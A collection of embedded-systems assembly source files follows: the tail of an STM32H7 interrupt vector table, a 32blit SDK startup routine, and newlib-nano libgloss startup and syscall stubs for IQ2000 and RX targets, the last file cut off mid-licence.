EXTI15_10_IRQHandler // External Line[15:10]s .word RTC_Alarm_IRQHandler // RTC Alarm (A and B) through EXTI Line .word 0 // Reserved .word TIM8_BRK_TIM12_IRQHandler // TIM8 Break and TIM12 .word TIM8_UP_TIM13_IRQHandler // TIM8 Update and TIM13 .word TIM8_TRG_COM_TIM14_IRQHandler // TIM8 Trigger and Commutation and TIM14 .word TIM8_CC_IRQHandler // TIM8 Capture Compare .word DMA1_Stream7_IRQHandler // DMA1 Stream7 .word FMC_IRQHandler // FMC .word SDMMC1_IRQHandler // SDMMC1 .word TIM5_IRQHandler // TIM5 .word SPI3_IRQHandler // SPI3 .word UART4_IRQHandler // UART4 .word UART5_IRQHandler // UART5 .word TIM6_DAC_IRQHandler // TIM6 and DAC1&2 underrun errors .word TIM7_IRQHandler // TIM7 .word DMA2_Stream0_IRQHandler // DMA2 Stream 0 .word DMA2_Stream1_IRQHandler // DMA2 Stream 1 .word DMA2_Stream2_IRQHandler // DMA2 Stream 2 .word DMA2_Stream3_IRQHandler // DMA2 Stream 3 .word DMA2_Stream4_IRQHandler // DMA2 Stream 4 .word ETH_IRQHandler // Ethernet .word ETH_WKUP_IRQHandler // Ethernet Wakeup through EXTI line .word FDCAN_CAL_IRQHandler // FDCAN calibration unit interrupt .word 0 // Reserved .word 0 // Reserved .word 0 // Reserved .word 0 // Reserved .word DMA2_Stream5_IRQHandler // DMA2 Stream 5 .word DMA2_Stream6_IRQHandler // DMA2 Stream 6 .word DMA2_Stream7_IRQHandler // DMA2 Stream 7 .word USART6_IRQHandler // USART6 .word I2C3_EV_IRQHandler // I2C3 event .word I2C3_ER_IRQHandler // I2C3 error .word OTG_HS_EP1_OUT_IRQHandler // USB OTG HS End Point 1 Out .word OTG_HS_EP1_IN_IRQHandler // USB OTG HS End Point 1 In .word OTG_HS_WKUP_IRQHandler // USB OTG HS Wakeup through EXTI .word OTG_HS_IRQHandler // USB OTG HS .word DCMI_IRQHandler // DCMI .word CRYP_IRQHandler // Crypto .word HASH_RNG_IRQHandler // Hash and Rng .word FPU_IRQHandler // FPU .word UART7_IRQHandler // UART7 .word UART8_IRQHandler // UART8 .word SPI4_IRQHandler // SPI4 .word SPI5_IRQHandler // SPI5 .word SPI6_IRQHandler // SPI6 .word SAI1_IRQHandler // SAI1 .word LTDC_IRQHandler // LTDC .word LTDC_ER_IRQHandler // LTDC error .word DMA2D_IRQHandler // DMA2D .word SAI2_IRQHandler // SAI2 .word QUADSPI_IRQHandler // QUADSPI .word LPTIM1_IRQHandler // LPTIM1 .word CEC_IRQHandler // HDMI_CEC .word I2C4_EV_IRQHandler // I2C4 Event .word I2C4_ER_IRQHandler // I2C4 Error .word SPDIF_RX_IRQHandler // SPDIF_RX .word OTG_FS_EP1_OUT_IRQHandler // USB OTG FS End Point 1 Out .word OTG_FS_EP1_IN_IRQHandler // USB OTG FS End Point 1 In .word OTG_FS_WKUP_IRQHandler // USB OTG FS Wakeup through EXTI .word OTG_FS_IRQHandler // USB OTG FS .word DMAMUX1_OVR_IRQHandler // DMAMUX1 Overrun interrupt .word HRTIM1_Master_IRQHandler // HRTIM Master Timer global Interrupt .word HRTIM1_TIMA_IRQHandler // HRTIM Timer A global Interrupt .word HRTIM1_TIMB_IRQHandler // HRTIM Timer B global Interrupt .word HRTIM1_TIMC_IRQHandler // HRTIM Timer C global Interrupt .word HRTIM1_TIMD_IRQHandler // HRTIM Timer D global Interrupt .word HRTIM1_TIME_IRQHandler // HRTIM Timer E global Interrupt .word HRTIM1_FLT_IRQHandler // HRTIM Fault global Interrupt .word DFSDM1_FLT0_IRQHandler // DFSDM Filter0 Interrupt .word DFSDM1_FLT1_IRQHandler // DFSDM Filter1 Interrupt .word DFSDM1_FLT2_IRQHandler // DFSDM Filter2 Interrupt .word DFSDM1_FLT3_IRQHandler // DFSDM Filter3 Interrupt .word SAI3_IRQHandler // SAI3 global Interrupt .word SWPMI1_IRQHandler // Serial Wire Interface 1 global interrupt .word TIM15_IRQHandler // TIM15 global Interrupt .word TIM16_IRQHandler // TIM16 global Interrupt .word TIM17_IRQHandler // TIM17 global Interrupt .word MDIOS_WKUP_IRQHandler // MDIOS Wakeup Interrupt .word MDIOS_IRQHandler // MDIOS global Interrupt .word JPEG_IRQHandler // JPEG global Interrupt .word MDMA_IRQHandler // MDMA global Interrupt .word 0 // Reserved .word SDMMC2_IRQHandler // SDMMC2 global Interrupt .word HSEM1_IRQHandler // HSEM1 global Interrupt .word 0 // Reserved .word ADC3_IRQHandler // ADC3 global Interrupt .word DMAMUX2_OVR_IRQHandler // DMAMUX Overrun interrupt .word BDMA_Channel0_IRQHandler // BDMA Channel 0 global Interrupt .word BDMA_Channel1_IRQHandler // BDMA Channel 1 global Interrupt .word BDMA_Channel2_IRQHandler // BDMA Channel 2 global Interrupt .word BDMA_Channel3_IRQHandler // BDMA Channel 3 global Interrupt .word BDMA_Channel4_IRQHandler // BDMA Channel 4 global Interrupt .word BDMA_Channel5_IRQHandler // BDMA Channel 5 global Interrupt .word BDMA_Channel6_IRQHandler // BDMA Channel 6 global Interrupt .word BDMA_Channel7_IRQHandler // BDMA Channel 7 global Interrupt .word COMP1_IRQHandler // COMP1 global Interrupt .word LPTIM2_IRQHandler // LP TIM2 global interrupt .word LPTIM3_IRQHandler // LP TIM3 global interrupt .word LPTIM4_IRQHandler // LP TIM4 global interrupt .word LPTIM5_IRQHandler // LP TIM5 global interrupt .word LPUART1_IRQHandler // LP UART1 interrupt .word 0 // Reserved .word CRS_IRQHandler // Clock Recovery Global Interrupt .word ECC_IRQHandler // ECC diagnostic Global Interrupt .word SAI4_IRQHandler // SAI4 global interrupt .word 0 // Reserved .word 0 // Reserved .word WAKEUP_PIN_IRQHandler // Interrupt for all 6 wake-up pins /**************************************************************************** * * Provide weak aliases for each Exception handler to the Default_Handler. * As they are weak aliases, any function with the same name will override * this definition. * *****************************************************************************/ .weak NMI_Handler .thumb_set NMI_Handler,Default_Handler .weak HardFault_Handler .thumb_set HardFault_Handler,Default_Handler .weak MemManage_Handler .thumb_set MemManage_Handler,Default_Handler .weak BusFault_Handler .thumb_set BusFault_Handler,Default_Handler .weak UsageFault_Handler .thumb_set UsageFault_Handler,Default_Handler .weak SVC_Handler .thumb_set SVC_Handler,Default_Handler .weak DebugMon_Handler .thumb_set DebugMon_Handler,Default_Handler .weak PendSV_Handler .thumb_set PendSV_Handler,Default_Handler .weak SysTick_Handler .thumb_set SysTick_Handler,Default_Handler .weak WWDG_IRQHandler .thumb_set WWDG_IRQHandler,Default_Handler .weak PVD_AVD_IRQHandler .thumb_set PVD_AVD_IRQHandler,Default_Handler .weak TAMP_STAMP_IRQHandler .thumb_set TAMP_STAMP_IRQHandler,Default_Handler .weak RTC_WKUP_IRQHandler .thumb_set RTC_WKUP_IRQHandler,Default_Handler .weak FLASH_IRQHandler .thumb_set FLASH_IRQHandler,Default_Handler .weak RCC_IRQHandler .thumb_set RCC_IRQHandler,Default_Handler .weak EXTI0_IRQHandler .thumb_set EXTI0_IRQHandler,Default_Handler .weak EXTI1_IRQHandler .thumb_set EXTI1_IRQHandler,Default_Handler .weak EXTI2_IRQHandler .thumb_set EXTI2_IRQHandler,Default_Handler .weak EXTI3_IRQHandler .thumb_set EXTI3_IRQHandler,Default_Handler .weak EXTI4_IRQHandler .thumb_set EXTI4_IRQHandler,Default_Handler .weak DMA1_Stream0_IRQHandler .thumb_set DMA1_Stream0_IRQHandler,Default_Handler .weak DMA1_Stream1_IRQHandler .thumb_set DMA1_Stream1_IRQHandler,Default_Handler .weak DMA1_Stream2_IRQHandler .thumb_set DMA1_Stream2_IRQHandler,Default_Handler .weak DMA1_Stream3_IRQHandler .thumb_set DMA1_Stream3_IRQHandler,Default_Handler .weak DMA1_Stream4_IRQHandler .thumb_set DMA1_Stream4_IRQHandler,Default_Handler .weak DMA1_Stream5_IRQHandler .thumb_set DMA1_Stream5_IRQHandler,Default_Handler .weak DMA1_Stream6_IRQHandler .thumb_set DMA1_Stream6_IRQHandler,Default_Handler .weak ADC_IRQHandler .thumb_set ADC_IRQHandler,Default_Handler .weak FDCAN1_IT0_IRQHandler .thumb_set FDCAN1_IT0_IRQHandler,Default_Handler .weak FDCAN2_IT0_IRQHandler .thumb_set FDCAN2_IT0_IRQHandler,Default_Handler .weak FDCAN1_IT1_IRQHandler .thumb_set FDCAN1_IT1_IRQHandler,Default_Handler .weak FDCAN2_IT1_IRQHandler .thumb_set FDCAN2_IT1_IRQHandler,Default_Handler .weak EXTI9_5_IRQHandler .thumb_set EXTI9_5_IRQHandler,Default_Handler .weak TIM1_BRK_IRQHandler .thumb_set TIM1_BRK_IRQHandler,Default_Handler .weak TIM1_UP_IRQHandler .thumb_set TIM1_UP_IRQHandler,Default_Handler .weak TIM1_TRG_COM_IRQHandler .thumb_set TIM1_TRG_COM_IRQHandler,Default_Handler .weak TIM1_CC_IRQHandler .thumb_set TIM1_CC_IRQHandler,Default_Handler .weak TIM2_IRQHandler .thumb_set TIM2_IRQHandler,Default_Handler .weak TIM3_IRQHandler .thumb_set TIM3_IRQHandler,Default_Handler .weak TIM4_IRQHandler .thumb_set TIM4_IRQHandler,Default_Handler .weak I2C1_EV_IRQHandler .thumb_set I2C1_EV_IRQHandler,Default_Handler .weak I2C1_ER_IRQHandler .thumb_set I2C1_ER_IRQHandler,Default_Handler .weak I2C2_EV_IRQHandler .thumb_set I2C2_EV_IRQHandler,Default_Handler .weak I2C2_ER_IRQHandler .thumb_set I2C2_ER_IRQHandler,Default_Handler .weak SPI1_IRQHandler .thumb_set SPI1_IRQHandler,Default_Handler .weak SPI2_IRQHandler .thumb_set SPI2_IRQHandler,Default_Handler .weak USART1_IRQHandler .thumb_set USART1_IRQHandler,Default_Handler .weak USART2_IRQHandler .thumb_set USART2_IRQHandler,Default_Handler .weak USART3_IRQHandler .thumb_set USART3_IRQHandler,Default_Handler .weak EXTI15_10_IRQHandler .thumb_set EXTI15_10_IRQHandler,Default_Handler .weak RTC_Alarm_IRQHandler .thumb_set RTC_Alarm_IRQHandler,Default_Handler .weak TIM8_BRK_TIM12_IRQHandler .thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler .weak TIM8_UP_TIM13_IRQHandler .thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler .weak TIM8_TRG_COM_TIM14_IRQHandler .thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler .weak TIM8_CC_IRQHandler .thumb_set TIM8_CC_IRQHandler,Default_Handler .weak DMA1_Stream7_IRQHandler .thumb_set DMA1_Stream7_IRQHandler,Default_Handler .weak FMC_IRQHandler .thumb_set FMC_IRQHandler,Default_Handler .weak SDMMC1_IRQHandler .thumb_set SDMMC1_IRQHandler,Default_Handler .weak TIM5_IRQHandler .thumb_set TIM5_IRQHandler,Default_Handler .weak SPI3_IRQHandler .thumb_set SPI3_IRQHandler,Default_Handler .weak UART4_IRQHandler .thumb_set UART4_IRQHandler,Default_Handler .weak UART5_IRQHandler .thumb_set UART5_IRQHandler,Default_Handler .weak TIM6_DAC_IRQHandler .thumb_set TIM6_DAC_IRQHandler,Default_Handler .weak TIM7_IRQHandler .thumb_set TIM7_IRQHandler,Default_Handler .weak DMA2_Stream0_IRQHandler .thumb_set DMA2_Stream0_IRQHandler,Default_Handler .weak DMA2_Stream1_IRQHandler .thumb_set DMA2_Stream1_IRQHandler,Default_Handler .weak DMA2_Stream2_IRQHandler .thumb_set DMA2_Stream2_IRQHandler,Default_Handler .weak DMA2_Stream3_IRQHandler .thumb_set DMA2_Stream3_IRQHandler,Default_Handler .weak DMA2_Stream4_IRQHandler .thumb_set DMA2_Stream4_IRQHandler,Default_Handler .weak ETH_IRQHandler .thumb_set ETH_IRQHandler,Default_Handler .weak ETH_WKUP_IRQHandler .thumb_set ETH_WKUP_IRQHandler,Default_Handler .weak FDCAN_CAL_IRQHandler .thumb_set FDCAN_CAL_IRQHandler,Default_Handler .weak DMA2_Stream5_IRQHandler .thumb_set DMA2_Stream5_IRQHandler,Default_Handler .weak DMA2_Stream6_IRQHandler .thumb_set DMA2_Stream6_IRQHandler,Default_Handler .weak DMA2_Stream7_IRQHandler .thumb_set DMA2_Stream7_IRQHandler,Default_Handler .weak USART6_IRQHandler .thumb_set USART6_IRQHandler,Default_Handler .weak I2C3_EV_IRQHandler .thumb_set I2C3_EV_IRQHandler,Default_Handler .weak I2C3_ER_IRQHandler .thumb_set I2C3_ER_IRQHandler,Default_Handler .weak OTG_HS_EP1_OUT_IRQHandler .thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler .weak OTG_HS_EP1_IN_IRQHandler .thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler .weak OTG_HS_WKUP_IRQHandler .thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler .weak OTG_HS_IRQHandler .thumb_set OTG_HS_IRQHandler,Default_Handler .weak DCMI_IRQHandler .thumb_set DCMI_IRQHandler,Default_Handler .weak CRYP_IRQHandler .thumb_set CRYP_IRQHandler,Default_Handler .weak HASH_RNG_IRQHandler .thumb_set HASH_RNG_IRQHandler,Default_Handler .weak FPU_IRQHandler .thumb_set FPU_IRQHandler,Default_Handler .weak UART7_IRQHandler .thumb_set UART7_IRQHandler,Default_Handler .weak UART8_IRQHandler .thumb_set UART8_IRQHandler,Default_Handler .weak SPI4_IRQHandler .thumb_set SPI4_IRQHandler,Default_Handler .weak SPI5_IRQHandler .thumb_set SPI5_IRQHandler,Default_Handler .weak SPI6_IRQHandler .thumb_set SPI6_IRQHandler,Default_Handler .weak SAI1_IRQHandler .thumb_set SAI1_IRQHandler,Default_Handler .weak LTDC_IRQHandler .thumb_set LTDC_IRQHandler,Default_Handler .weak LTDC_ER_IRQHandler .thumb_set LTDC_ER_IRQHandler,Default_Handler .weak DMA2D_IRQHandler .thumb_set DMA2D_IRQHandler,Default_Handler .weak SAI2_IRQHandler .thumb_set SAI2_IRQHandler,Default_Handler .weak QUADSPI_IRQHandler .thumb_set QUADSPI_IRQHandler,Default_Handler .weak LPTIM1_IRQHandler .thumb_set LPTIM1_IRQHandler,Default_Handler .weak CEC_IRQHandler .thumb_set CEC_IRQHandler,Default_Handler .weak I2C4_EV_IRQHandler .thumb_set I2C4_EV_IRQHandler,Default_Handler .weak I2C4_ER_IRQHandler .thumb_set I2C4_ER_IRQHandler,Default_Handler .weak SPDIF_RX_IRQHandler .thumb_set SPDIF_RX_IRQHandler,Default_Handler .weak OTG_FS_EP1_OUT_IRQHandler .thumb_set OTG_FS_EP1_OUT_IRQHandler,Default_Handler .weak OTG_FS_EP1_IN_IRQHandler .thumb_set OTG_FS_EP1_IN_IRQHandler,Default_Handler .weak OTG_FS_WKUP_IRQHandler .thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler .weak OTG_FS_IRQHandler .thumb_set OTG_FS_IRQHandler,Default_Handler .weak DMAMUX1_OVR_IRQHandler .thumb_set DMAMUX1_OVR_IRQHandler,Default_Handler .weak HRTIM1_Master_IRQHandler .thumb_set HRTIM1_Master_IRQHandler,Default_Handler .weak HRTIM1_TIMA_IRQHandler .thumb_set HRTIM1_TIMA_IRQHandler,Default_Handler .weak HRTIM1_TIMB_IRQHandler .thumb_set HRTIM1_TIMB_IRQHandler,Default_Handler .weak HRTIM1_TIMC_IRQHandler .thumb_set HRTIM1_TIMC_IRQHandler,Default_Handler .weak HRTIM1_TIMD_IRQHandler .thumb_set HRTIM1_TIMD_IRQHandler,Default_Handler .weak HRTIM1_TIME_IRQHandler .thumb_set HRTIM1_TIME_IRQHandler,Default_Handler .weak HRTIM1_FLT_IRQHandler .thumb_set HRTIM1_FLT_IRQHandler,Default_Handler .weak DFSDM1_FLT0_IRQHandler .thumb_set DFSDM1_FLT0_IRQHandler,Default_Handler .weak DFSDM1_FLT1_IRQHandler .thumb_set DFSDM1_FLT1_IRQHandler,Default_Handler .weak DFSDM1_FLT2_IRQHandler .thumb_set DFSDM1_FLT2_IRQHandler,Default_Handler .weak DFSDM1_FLT3_IRQHandler .thumb_set DFSDM1_FLT3_IRQHandler,Default_Handler .weak SAI3_IRQHandler .thumb_set SAI3_IRQHandler,Default_Handler .weak SWPMI1_IRQHandler .thumb_set SWPMI1_IRQHandler,Default_Handler .weak TIM15_IRQHandler .thumb_set TIM15_IRQHandler,Default_Handler .weak TIM16_IRQHandler .thumb_set TIM16_IRQHandler,Default_Handler .weak TIM17_IRQHandler .thumb_set TIM17_IRQHandler,Default_Handler .weak MDIOS_WKUP_IRQHandler .thumb_set MDIOS_WKUP_IRQHandler,Default_Handler .weak MDIOS_IRQHandler .thumb_set MDIOS_IRQHandler,Default_Handler .weak JPEG_IRQHandler .thumb_set JPEG_IRQHandler,Default_Handler .weak MDMA_IRQHandler .thumb_set MDMA_IRQHandler,Default_Handler .weak SDMMC2_IRQHandler .thumb_set SDMMC2_IRQHandler,Default_Handler .weak HSEM1_IRQHandler .thumb_set HSEM1_IRQHandler,Default_Handler .weak ADC3_IRQHandler .thumb_set ADC3_IRQHandler,Default_Handler .weak DMAMUX2_OVR_IRQHandler .thumb_set DMAMUX2_OVR_IRQHandler,Default_Handler .weak BDMA_Channel0_IRQHandler .thumb_set BDMA_Channel0_IRQHandler,Default_Handler .weak BDMA_Channel1_IRQHandler .thumb_set BDMA_Channel1_IRQHandler,Default_Handler .weak BDMA_Channel2_IRQHandler .thumb_set BDMA_Channel2_IRQHandler,Default_Handler .weak BDMA_Channel3_IRQHandler .thumb_set BDMA_Channel3_IRQHandler,Default_Handler .weak BDMA_Channel4_IRQHandler .thumb_set BDMA_Channel4_IRQHandler,Default_Handler .weak BDMA_Channel5_IRQHandler .thumb_set BDMA_Channel5_IRQHandler,Default_Handler .weak BDMA_Channel6_IRQHandler .thumb_set BDMA_Channel6_IRQHandler,Default_Handler .weak BDMA_Channel7_IRQHandler .thumb_set BDMA_Channel7_IRQHandler,Default_Handler .weak COMP1_IRQHandler .thumb_set COMP1_IRQHandler,Default_Handler .weak LPTIM2_IRQHandler .thumb_set LPTIM2_IRQHandler,Default_Handler .weak LPTIM3_IRQHandler .thumb_set LPTIM3_IRQHandler,Default_Handler .weak LPTIM4_IRQHandler .thumb_set LPTIM4_IRQHandler,Default_Handler .weak LPTIM5_IRQHandler .thumb_set LPTIM5_IRQHandler,Default_Handler .weak LPUART1_IRQHandler .thumb_set LPUART1_IRQHandler,Default_Handler .weak CRS_IRQHandler .thumb_set CRS_IRQHandler,Default_Handler .weak ECC_IRQHandler .thumb_set ECC_IRQHandler,Default_Handler .weak SAI4_IRQHandler .thumb_set SAI4_IRQHandler,Default_Handler .weak WAKEUP_PIN_IRQHandler .thumb_set WAKEUP_PIN_IRQHandler,Default_Handler /******************* (C) COPYRIGHT STMicroelectronics *END OF FILE**/
32blit/32blit-sdk	3,775	32blit-stm32/startup_user.S	/* ****************************************************************************** * @file startup_stm32h750xx.s * @author MCD Application Team * @brief STM32H750xx Devices vector table for GCC based toolchain. * This module performs: * - Set the initial SP * - Set the initial PC == do_init, * - Set the vector table entries with the exceptions ISR address * - Branches to main in the C library (which eventually * calls main()). * After Reset the Cortex-M processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ****************************************************************************** * @attention * * <h2><center>© Copyright (c) 2018 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** / #include "engine/api_version.h" .syntax unified .cpu cortex-m7 .fpu softvfp .thumb .extern init .extern update .extern render .global g_pfnVectors // start address for the initialization values of the .data section. // defined in linker script .word _sidata // start address for the .data section. defined in linker script .word _sdata // end address for the .data section. defined in linker script .word _edata // start address for the .bss section. defined in linker script .word _sbss // end address for the .bss section. defined in linker script .word _ebss // stack used for SystemInit_ExtMemCtl; always internal RAM used .section .text.do_init .weak do_init .type do_init, %function .global Reset_Handler Reset_Handler: // avoid warning about this not existing do_init: push {r4, lr} mov r4, r0 // Copy the data segment initializers from flash to SRAM movs r1, #0 b LoopCopyDataInit CopyDataInit: ldr r3, =_sidata add r3, r4 ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyDataInit: ldr r0, =_sdata ldr r3, =_edata adds r2, r0, r1 cmp r2, r3 bcc CopyDataInit // Copy ITCM movs r1, #0 b LoopCopyITCMInit CopyITCMInit: ldr r3, =itcm_data add r3, r4 ldr r3, [r3, r1] str r3, [r0, r1] adds r1, r1, #4 LoopCopyITCMInit: ldr r0, =itcm_text_start ldr r3, =itcm_text_end adds r2, r0, r1 cmp r2, r3 bcc CopyITCMInit ldr r2, =_sbss b LoopFillZerobss // Zero fill the bss segment. FillZerobss: movs r3, #0 str r3, [r2], #4 LoopFillZerobss: ldr r3, = _ebss cmp r2, r3 bcc FillZerobss // Call static constructors bl __libc_init_array // Call the application's entry point. bl cpp_do_init pop {r4, pc} /**************************************************************************** * * The minimal vector table for a Cortex M. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x0000.0000. * ******************************************************************************/ .section .isr_vector,"a",%progbits #.type g_pfnVectors, %object #.size g_pfnVectors, .-g_pfnVectors g_pfnVectors: .word 0x54494C42 .word _Z6renderm .word _ZN4blit4tickEm .word do_init .word _flash_end .word 1 // device_id = 1 + padding .hword BLIT_API_VERSION_MAJOR .hword BLIT_API_VERSION_MINOR / .weak render .thumb_set render,main .weak update .thumb_set update,main .weak init .thumb_set init,main */
32bitmicro/newlib-nano-1.0	1,756	libgloss/iq2000/crt0.S	##============================================================================== ## ## crt0.S ## ## IQ2000 startup code ## ##============================================================================== ## ## Copyright (c) 2000, Cygnus Solutions, A Red Hat Company ## ## The authors hereby grant permission to use, copy, modify, distribute, ## and license this software and its documentation for any purpose, provided ## that existing copyright notices are retained in all copies and that this ## notice is included verbatim in any distributions. No written agreement, ## license, or royalty fee is required for any of the authorized uses. ## Modifications to this software may be copyrighted by their authors ## and need not follow the licensing terms described here, provided that ## the new terms are clearly indicated on the first page of each file where ## they apply. ## ##------------------------------------------------------------------------------ .file "crt0.S" ##------------------------------------------------------------------------------ ## Startup code .section .text .global _start _start: lui %29,%hi(__stack) ori %29,%29,%lo(__stack) lui %24,%hi(_edata) # get start of bss ori %24,%24,%lo(_edata) lui %25,%hi(_end) # get end of bss ori %25,%25,%lo(_end) beq %24,%25,.L0 # check if end and start are the same # do nothing if no bss .L1: sb %0,0(%24) # clear a byte and bump pointer addi %24,%24,1 bne %24,%25,.L1 nop .L0: jal _main # call _main to run ctors/dtors nop xor %4,%4,%4 jal main # call main program xor %5,%5,%5 jal exit # all done, no need to return or or %4,%0,%2 # exit with main's return value .section .data .global __dso_handle .weak __dso_handle __dso_handle: .long 0
32bitmicro/newlib-nano-1.0	1,673	libgloss/rx/crtn.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ .section .init,"ax" bsr.a _rx_run_preinit_array bsr.a _rx_run_init_array rts .global __rx_init_end __rx_init_end: .section .fini,"ax" rts .global __rx_fini_end __rx_fini_end: .text
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/stat.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(stat)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/lseek.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(lseek)
32bitmicro/newlib-nano-1.0	1,507	libgloss/rx/time.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(time)
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/write.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT 